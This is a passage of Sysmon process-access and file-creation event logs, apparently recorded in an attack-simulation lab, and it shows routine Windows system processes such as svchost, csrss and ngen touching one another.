12:00:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6671,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:41.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:41.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6672,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:41.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:41.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6673,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:41.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:41.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6674,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:41.854\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4269-5F2D-0000-00103F530A00}\r\nTargetProcessId: 2284\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:41.854","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4269-5F2D-0000-00103F530A00}","TargetProcessId":"2284","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6675,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:56.010\r\nProcessGuid: {90617006-4268-5F2D-0000-0010A14A0A00}\r\nProcessId: 1628\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\65c-0\\System.ServiceModel.dll\r\nCreationUtcTime: 2020-08-07 12:00:56.010","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:56.010","ProcessGuid":"{90617006-4268-5F2D-0000-0010A14A0A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\65c-0\\System.ServiceModel.dll","CreationUtcTime":"2020-08-07 12:00:56.010","EventReceivedTime":"2020-08-07 12:00:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6676,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:56.354\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4278-5F2D-0000-001057590A00}\r\nTargetProcessId: 1008\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:56.354","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4278-5F2D-0000-001057590A00}","TargetProcessId":"1008","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6677,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:56.354\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4278-5F2D-0000-001057590A00}\r\nTargetProcessId: 1008\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:56.354","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4278-5F2D-0000-001057590A00}","TargetProcessId":"1008","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6678,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:56.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4278-5F2D-0000-001057590A00}\r\nTargetProcessId: 1008\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:56.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4278-5F2D-0000-001057590A00}","TargetProcessId":"1008","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6679,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:56.650\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4263-5F2D-0000-0010B7170A00}\r\nTargetProcessId: 4384\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:56.650","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4263-5F2D-0000-0010B7170A00}","TargetProcessId":"4384","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsof